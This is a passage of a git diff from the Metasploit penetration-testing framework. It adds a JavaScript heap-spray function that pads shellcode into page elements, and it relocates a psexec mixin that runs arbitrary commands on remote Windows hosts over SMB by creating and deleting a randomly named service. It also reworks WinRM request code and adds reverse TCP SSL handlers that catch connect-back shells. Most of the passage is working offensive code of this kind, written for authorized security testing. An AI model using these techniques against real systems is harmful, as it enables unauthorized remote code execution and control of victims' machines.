HTML tag. + # offset => Optional. Number of bytes to align the shellcode, default: 0x104 + # heapBlockSize => Optional. Allocation size, default: 0x80000 + # maxAllocs => Optional. Number of allocation calls, default: 0x350 + # + # Example of using the 'sprayHeap' function: + # + # + def js_property_spray + js = %Q| + var div_container; + function sprayHeap( oArg ) { + + shellcode = oArg.shellcode; + offset = oArg.offset; + heapBlockSize = oArg.heapBlockSize; + maxAllocs = oArg.maxAllocs; + objId = oArg.objId; + + if (shellcode == undefined) { throw "Missing argument: shellcode"; } + if (offset == undefined) { offset = 0x104; } + if (heapBlockSize == undefined) { heapBlockSize = 0x80000; } + if (maxAllocs == undefined) { maxAllocs = 0x350; } + + if (offset > 0x800) { throw "Bad alignment"; } + + div_container = document.getElementById(objId); + + if (div_container == null) { + div_container = document.createElement("div"); + } + + div_container.style.cssText = "display:none"; + var data; + junk = unescape("%u2020%u2020"); + while (junk.length < offset+0x1000) junk += junk; + + data = junk.substring(0,offset) + shellcode; + data += junk.substring(0,0x800-offset-shellcode.length); + + while (data.length < heapBlockSize) data += data; + + for (var i = 0; i < maxAllocs; i++) + { + var obj = document.createElement("button"); + obj.title = data.substring(0, (heapBlockSize-2)/2); + div_container.appendChild(obj); + } + } + | + end + def js_heap_spray js = %Q|var memory = new Array(); function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) { diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb deleted file mode 100644 index 103241a30f..0000000000 --- a/lib/msf/core/exploit/psexec.rb +++ /dev/null @@ -1,201 +0,0 @@ -require 'msf/core' - -module Msf - -#### -# This module alows for reuse of the psexec code execution module -# This code was stolen straight out of psexec.rb.Thanks very much for all -# who contributed to that module!! Instead of uploading and runing a binary. -#### - -module Exploit::Remote::Psexec - - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - - # Retrives output from the executed command - # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param file [File name] Path to the output file relative to the smbshare - # Example: '\WINDOWS\Temp\outputfile.txt' - # @return output or nil if fails - def get_output(smbshare, ip, file) - begin - print_status("Getting the command output...") - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return output - rescue StandardError => output_error - print_error("Error getting command output. #{output_error.class}. #{output_error}.") - return nil - end - end - - - # This method executes a single windows command. If you want to - # retrieve the output of your command you'll have to echo it - # to a .txt file and then use the get_output method to retrieve it - # Make sure to use the cleanup_after method when you are done. - # @param command [String] Should be a valid windows command - # @return true if everything wen't well - def psexec(command) - - simple.connect("IPC$") - - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") - - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil - - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end - - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - - response = dcerpc.call(0x10, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + NDR.long(0) + NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true - end - - # This is the cleanup method, removes .txt and .bat file/s created during execution - # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param text [File Path] Path to the text file relative to the smbshare - # Example: '\WINDOWS\Temp\output.txt' - # @param bat [File Path] Full path to the batch file created - # Example: 'C:\WINDOWS\Temp\batchfile.bat' - # @return only in the event of an error - def cleanup_after(smbshare, ip, text, bat) - begin - # Try and do cleanup command/s - cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}" - print_status("#{peer} - Executing cleanup...") - psexec(cleanup) - if !check_cleanup(smbshare, ip, text) - print_error("#{peer} - Unable to cleanup. Make sure to manually remove files from the target.") - else - print_status("#{peer} - Cleanup was successful") - end - rescue StandardError => cleanuperror - print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}") - print_error("#{peer} - Make sure to manually remove files from the target") - return cleanuperror - end - end - - # Make sure the cleanup command worked - # This method should only be called from within cleanup_after - def check_cleanup(smbshare, ip, text) - simple.connect("\\\\#{ip}\\#{smbshare}") - begin - if checktext = simple.open(text, 'ro') - check = false - else - check = true - end - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return check - rescue StandardError => check_error - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return true - end - end - -end - -end diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb index 00f17808c1..6e24ea986e 100644 --- a/lib/msf/core/exploit/smb.rb +++ b/lib/msf/core/exploit/smb.rb @@ -4,7 +4,6 @@ require 'rex/proto/ntlm' require 'rex/proto/dcerpc' require 'rex/encoder/ndr' - module Msf ### @@ -18,6 +17,9 @@ module Msf module Exploit::Remote::SMB + require 'msf/core/exploit/smb/authenticated' + require 'msf/core/exploit/smb/psexec' + include Exploit::Remote::Tcp include Exploit::Remote::NTLM::Client @@ -33,20 +35,6 @@ module Exploit::Remote::SMB DCERPCUUID = Rex::Proto::DCERPC::UUID NDR = Rex::Encoder::NDR - # Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced - # Included when the module needs credentials to function - module Authenticated - def initialize(info = {}) - super - register_options( - [ - OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), - OptString.new('SMBPass', [ false, 'The password for the specified username', '']), - OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), - ], Msf::Exploit::Remote::SMB::Authenticated) - end - end - def initialize(info = {}) super @@ -90,6 +78,13 @@ module Exploit::Remote::SMB register_autofilter_services(%W{ netbios-ssn microsoft-ds }) end + # Override {Exploit::Remote::Tcp#connect} to setup an SMB connection + # and configure evasion options + # + # Also populates {#simple}. + # + # @param (see Exploit::Remote::Tcp#connect) + # @return (see Exploit::Remote::Tcp#connect) def connect(global=true) disconnect() if global @@ -132,7 +127,12 @@ module Exploit::Remote::SMB Rex::Text.to_unicode(str) end - # This method establishes a SMB session over the default socket + # Establishes an SMB session over the default socket and connects to + # the IPC$ share. + # + # You should call {#connect} before calling this + # + # @return [void] def smb_login simple.login( datastore['SMBName'], @@ -217,13 +217,55 @@ module Exploit::Remote::SMB end end + # Whether a remote file exists + # + # @param file [String] Path to a file to remove, relative to the + # most-recently connected share + # @raise [Rex::Proto::SMB::Exceptions::ErrorCode] + def smb_file_exist?(file) + begin + fd = simple.open(file, 'ro') + rescue XCEPT::ErrorCode => e + # If attempting to open the file results in a "*_NOT_FOUND" error, + # then we can be sure the file is not there. + # + # Copy-pasted from smb/exceptions.rb to avoid the gymnastics + # required to pull them out of a giant inverted hash + # + # 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND", + # 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND", + # 0xC0000225 => "STATUS_NOT_FOUND", + error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code) + # If the server returns some other error, then there was a + # permissions problem or some other difficulty that we can't + # really account for and hope the caller can deal with it. + raise e unless error_is_not_found + found = !error_is_not_found + else + # There was no exception, so we know the file is openable + fd.close + found = true + end + + found + end + + # Remove remote file + # + # @param file (see #smb_file_exist?) + # @return [void] + def smb_file_rm(file) + fd = smb_open(file, 'ro') + fd.delete + end + # # Fingerprinting methods # - # This method the EnumPrinters() function of the spooler service + # Calls the EnumPrinters() function of the spooler service def smb_enumprinters(flags, name, level, blen) stub = NDR.long(flags) + @@ -632,10 +674,7 @@ module Exploit::Remote::SMB fprint end - # - # Accessors - # - + # @return [Rex::Proto::SMB::SimpleClient] attr_accessor :simple end @@ -785,7 +824,6 @@ module Exploit::Remote::SMBServer c.put(pkt.to_s) end - end diff --git a/lib/msf/core/exploit/smb/authenticated.rb b/lib/msf/core/exploit/smb/authenticated.rb new file mode 100644 index 0000000000..62bfdd4703 --- /dev/null +++ b/lib/msf/core/exploit/smb/authenticated.rb @@ -0,0 +1,22 @@ +# -*- coding: binary -*- + +module Msf + +# Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced +# Included when the module needs credentials to function +module Exploit::Remote::SMB::Authenticated + + include Msf::Exploit::Remote::SMB + + def initialize(info = {}) + super + register_options( + [ + OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), + OptString.new('SMBPass', [ false, 'The password for the specified username', '']), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), + ], Msf::Exploit::Remote::SMB::Authenticated) + end +end + +end diff --git a/lib/msf/core/exploit/smb/psexec.rb b/lib/msf/core/exploit/smb/psexec.rb new file mode 100644 index 0000000000..3ba505c6cf --- /dev/null +++ b/lib/msf/core/exploit/smb/psexec.rb @@ -0,0 +1,152 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'msf/core/exploit/dcerpc' + +module Msf + +#### +# Allows for reuse of the psexec code execution technique +# +# This code was stolen straight out of the psexec module. Thanks very +# much for all who contributed to that module!! Instead of uploading +# and runing a binary. +#### + +module Exploit::Remote::SMB::Psexec + + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB::Authenticated + + # Retrives output from the executed command + # + # @param smbshare [String] The SMBshare to connect to. Usually C$ + # @param host [String] Remote host to connect to, as an IP address or + # hostname + # @param file [String] Path to the output file relative to the smbshare + # Example: '\WINDOWS\Temp\outputfile.txt' + # @return [String,nil] output or nil on failure + def smb_read_file(smbshare, host, file) + begin + simple.connect("\\\\#{host}\\#{smbshare}") + file = simple.open(file, 'ro') + contents = file.read + file.close + simple.disconnect("\\\\#{host}\\#{smbshare}") + return contents + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{peer} - Unable to read file #{file}. #{e.class}: #{e}.") + return nil + end + end + + + # Executes a single windows command. + # + # If you want to retrieve the output of your command you'll have to + # echo it to a .txt file and then use the {#smb_read_file} method to + # retrieve it. Make sure to remove the files manually or use + # {Exploit::FileDropper#register_files_for_cleanup} to have the + # {Exploit::FileDropper#cleanup} and + # {Exploit::FileDropper#on_new_session} handlers do it for you. + # + # @todo Figure out the actual exceptions this needs to deal with + # instead of all the ghetto "rescue ::Exception" madness + # @param command [String] Should be a valid windows command + # @return [Boolean] Whether everything went well + def psexec(command) + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("#{peer} - Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("#{peer} - Bound to #{handle} ...") + vprint_status("#{peer} - Obtaining a service manager handle...") + scm_handle = nil + stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + servicename = Rex::Text.rand_text_alpha(11) + displayname = Rex::Text.rand_text_alpha(16) + holdhandle = scm_handle + svc_handle = nil + svc_status = nil + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + vprint_status("#{peer} - Creating the service...") + response = dcerpc.call(0x0c, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end + vprint_status("#{peer} - Opening service...") + begin + stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) + response = dcerpc.call(0x10, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + vprint_status("#{peer} - Starting the service...") + stubdata = svc_handle + NDR.long(0) + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + vprint_status("#{peer} - Removing the service...") + stubdata = svc_handle + begin + response = dcerpc.call(0x02, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end + select(nil, nil, nil, 1.0) + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + return true + end + +end + +end diff --git a/lib/msf/core/exploit/web.rb b/lib/msf/core/exploit/web.rb index dcec407024..917cdf73fa 100644 --- a/lib/msf/core/exploit/web.rb +++ b/lib/msf/core/exploit/web.rb @@ -99,7 +99,7 @@ module Exploit::Remote::Web 'vars_post' => post, 'headers' => headers, 'cookie' => cookies - }, 0.01 ) + }, 10 ) end # diff --git a/lib/msf/core/exploit/winrm.rb b/lib/msf/core/exploit/winrm.rb index 72b6a1f724..e61a29e5aa 100644 --- a/lib/msf/core/exploit/winrm.rb +++ b/lib/msf/core/exploit/winrm.rb @@ -42,7 +42,7 @@ module Exploit::Remote::WinRM c = connect(opts) to = opts[:timeout] || timeout ctype = "application/soap+xml;charset=UTF-8" - resp, c = send_request_cgi(opts.merge({ + resp = send_winrm_request(opts.merge({ 'uri' => opts['uri'], 'method' => 'POST', 'ctype' => ctype, @@ -61,7 +61,7 @@ module Exploit::Remote::WinRM end def winrm_run_cmd(cmd, timeout=20) - resp,c = send_request_ntlm(winrm_open_shell_msg,timeout) + resp = send_winrm_request(winrm_open_shell_msg,timeout) if resp.nil? print_error "Recieved no reply from server" return nil @@ -76,17 +76,17 @@ module Exploit::Remote::WinRM return retval end shell_id = winrm_get_shell_id(resp) - resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout) + resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout) cmd_id = winrm_get_cmd_id(resp) - resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) + resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) streams = winrm_get_cmd_streams(resp) - resp,c = send_request_ntlm(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout) - resp,c = send_request_ntlm(winrm_delete_shell_msg(shell_id)) + resp = send_winrm_request(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout) + resp = send_winrm_request(winrm_delete_shell_msg(shell_id)) return streams end def winrm_run_cmd_hanging(cmd, timeout=20) - resp,c = send_request_ntlm(winrm_open_shell_msg,timeout) + resp = send_winrm_request(winrm_open_shell_msg,timeout) if resp.nil? print_error "Recieved no reply from server" return nil @@ -101,9 +101,9 @@ module Exploit::Remote::WinRM return retval end shell_id = winrm_get_shell_id(resp) - resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout) + resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout) cmd_id = winrm_get_cmd_id(resp) - resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) + resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) streams = winrm_get_cmd_streams(resp) return streams end @@ -219,94 +219,6 @@ module Exploit::Remote::WinRM ::Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) end - def send_request_ntlm(data, timeout = 20) - opts = { - 'uri' => datastore['URI'], - 'data' => data, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - } - ntlm_options = { - :signing => false, - :usentlm2_session => datastore['NTLM::UseNTLM2_session'], - :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], - :send_lm => datastore['NTLM::SendLM'], - :send_ntlm => datastore['NTLM::SendNTLM'] - } - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = datastore['DOMAIN'] - ntlm_message_1 = "NEGOTIATE " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name, - workstation_name, - ntlmssp_flags)) - to = opts[:timeout] || timeout - begin - c = connect(opts) - ctype = "application/soap+xml;charset=UTF-8" - # First request to get the challenge - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'POST', - 'ctype' => ctype, - 'headers' => { 'Authorization' => ntlm_message_1}, - 'data' => opts['data'] - })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate'] - # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NEGOTIATE ([A-Z0-9\x2b\x2f=]+)/i)[1] - return [nil,nil] unless ntlm_challenge - - #old and simplier method but not compatible with windows 7/2008r2 - #ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge) - #ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true}) - ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - default_name = blob_data[:default_name] || '' - #netbios domain - default_domain = blob_data[:default_domain] || '' - #dns name - dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - resp_lm, - resp_ntlm, - client_challenge, - ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key, - domain_name, default_name, default_domain, - dns_host_name, dns_domain_name, chall_MsvAvTimestamp, - spnopt, ntlm_options) - ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'], - resp_lm, resp_ntlm, '', ntlmssp_flags) - ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) - # Send the response - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'POST', - 'ctype' => ctype, - 'headers' => { 'Authorization' => "NEGOTIATE #{ntlm_message_3}"}, - 'data' => opts['data'] - })) - resp = c.send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [resp,c] - rescue ::Errno::EPIPE, ::Timeout::Error - end - end - def accepts_ntlm_auth parse_auth_methods(winrm_poke).include? "Negotiate" end @@ -329,6 +241,17 @@ module Exploit::Remote::WinRM return "/root/cimv2/" end + def send_winrm_request(data, timeout=20) + opts = { + 'uri' => datastore['URI'], + 'method' => 'POST', + 'data' => data, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'ctype' => "application/soap+xml;charset=UTF-8" + } + send_request_cgi(opts,timeout) + end private diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb new file mode 100644 index 0000000000..4410de7df7 --- /dev/null +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -0,0 +1,300 @@ +# -*- coding: binary -*- +module Msf +module Handler + +### +# +# This module implements the reverse double TCP handler. This means +# that it listens on a port waiting for a two connections, one connection +# is treated as stdin, the other as stdout. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseTcpDoubleSSL + + include Msf::Handler + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp_double'. + # + def self.handler_type + return "reverse_tcp_double_ssl" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP handler and ads the options that are required + # for all reverse TCP payloads, like local host and local port. + # + def initialize(info = {}) + super + + register_options( + [ + Opt::LHOST, + Opt::LPORT(4444) + ], Msf::Handler::ReverseTcpDoubleSSL) + + register_advanced_options( + [ + OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), + ], Msf::Handler::ReverseTcpDoubleSSL) + + self.conn_threads = [] + end + + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] and not datastore['ReverseAllowProxy'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' + end + self.listener_sock = Rex::Socket::TcpServer.create( + # 'LocalHost' => datastore['LHOST'], + 'LocalPort' => datastore['LPORT'].to_i, + 'Comm' => comm, + 'SSL' => true, + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + end + + # + # Closes the listener socket if one was created. + # + def cleanup_handler + stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill + } + end + + # + # Starts monitoring for an inbound connection. + # + def start_handler + self.listener_thread = framework.threads.spawn("ReverseTcpDoubleSSLHandlerListener", false) { + sock_inp = nil + sock_out = nil + + print_status("Started reverse double handler") + + begin + # Accept two client connection + begin + client_a = self.listener_sock.accept + print_status("Accepted the first client connection...") + + client_b = self.listener_sock.accept + print_status("Accepted the second client connection...") + + sock_inp, sock_out = detect_input_output(client_a, client_b) + + rescue + wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") + return nil + end + + # Increment the has connection counter + self.pending_connections += 1 + + # Start a new thread and pass the client connection + # as the input and output pipe. Client's are expected + # to implement the Stream interface. + conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| + begin + chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy) + handle_connection(chan.lsock) + rescue + elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") + end + } + end while true + } + end + + # + # Accept two sockets and determine which one is the input and which + # is the output. This method assumes that these sockets pipe to a + # remote shell, it should overridden if this is not the case. + # + def detect_input_output(sock_a, sock_b) + + begin + + # Flush any pending socket data + sock_a.get_once if sock_a.has_read_data?(0.25) + sock_b.get_once if sock_b.has_read_data?(0.25) + + etag = Rex::Text.rand_text_alphanumeric(16) + echo = "echo #{etag};\n" + + print_status("Command: #{echo.strip}") + + print_status("Writing to socket A") + sock_a.put(echo) + + print_status("Writing to socket B") + sock_b.put(echo) + + print_status("Reading from sockets...") + + resp_a = '' + resp_b = '' + + if (sock_a.has_read_data?(1)) + print_status("Reading from socket A") + resp_a = sock_a.get_once + print_status("A: #{resp_a.inspect}") + end + + if (sock_b.has_read_data?(1)) + print_status("Reading from socket B") + resp_b = sock_b.get_once + print_status("B: #{resp_b.inspect}") + end + + print_status("Matching...") + if (resp_b.match(etag)) + print_status("A is input...") + return sock_a, sock_b + else + print_status("B is input...") + return sock_b, sock_a + end + + rescue ::Exception + print_status("Caught exception in detect_input_output: #{$!}") + end + + end + + # + # Stops monitoring for an inbound connection. + # + def stop_handler + # Terminate the listener thread + if (self.listener_thread and self.listener_thread.alive? == true) + self.listener_thread.kill + self.listener_thread = nil + end + + if (self.listener_sock) + self.listener_sock.close + self.listener_sock = nil + end + end + +protected + + attr_accessor :listener_sock # :nodoc: + attr_accessor :listener_thread # :nodoc: + attr_accessor :conn_threads # :nodoc: + + + module TcpReverseDoubleSSLChannelExt + attr_accessor :localinfo + attr_accessor :peerinfo + end + + ### + # + # This class wrappers the communication channel built over the two inbound + # connections, allowing input and output to be split across both. + # + ### + class TcpReverseDoubleSSLSessionChannel + + include Rex::IO::StreamAbstraction + + def initialize(framework, inp, out) + @framework = framework + @sock_inp = inp + @sock_out = out + + initialize_abstraction + + self.lsock.extend(TcpReverseDoubleSSLChannelExt) + self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":") + self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":") + + monitor_shell_stdout + end + + # + # Funnel data from the shell's stdout to +rsock+ + # + # +StreamAbstraction#monitor_rsock+ will deal with getting data from + # the client (user input). From there, it calls our write() below, + # funneling the data to the shell's stdin on the other side. + # + def monitor_shell_stdout + + # Start a thread to pipe data between stdin/stdout and the two sockets + @monitor_thread = @framework.threads.spawn("ReverseTcpDoubleSSLHandlerMonitor", false) { + begin + while true + # Handle data from the server and write to the client + if (@sock_out.has_read_data?(0.50)) + buf = @sock_out.get_once + break if buf.nil? + rsock.put(buf) + end + end + rescue ::Exception => e + ilog("ReverseTcpDoubleSSL monitor thread raised #{e.class}: #{e}") + end + + # Clean up the sockets... + begin + @sock_inp.close + @sock_out.close + rescue ::Exception + end + } + end + + def write(buf, opts={}) + @sock_inp.write(buf, opts) + end + + def read(length=0, opts={}) + @sock_out.read(length, opts) + end + + # + # Closes the stream abstraction and kills the monitor thread. + # + def close + @monitor_thread.kill if (@monitor_thread) + @monitor_thread = nil + + cleanup_abstraction + end + + end + + +end + +end +end diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb new file mode 100644 index 0000000000..996b619b07 --- /dev/null +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -0,0 +1,124 @@ +require 'rex/socket' +require 'thread' + +require 'msf/core/handler/reverse_tcp' + +module Msf +module Handler + +### +# +# This module implements the reverse TCP handler. This means +# that it listens on a port waiting for a connection until +# either one is established or it is told to abort. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseTcpSsl + + include Msf::Handler::ReverseTcp + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp_ssl'. + # + def self.handler_type + return "reverse_tcp_ssl" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP SSL handler and adds the certificate option. + # + def initialize(info = {}) + super + register_advanced_options( + [ + OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']) + ], Msf::Handler::ReverseTcpSsl) + + end + + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies' + end + + ex = false + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length 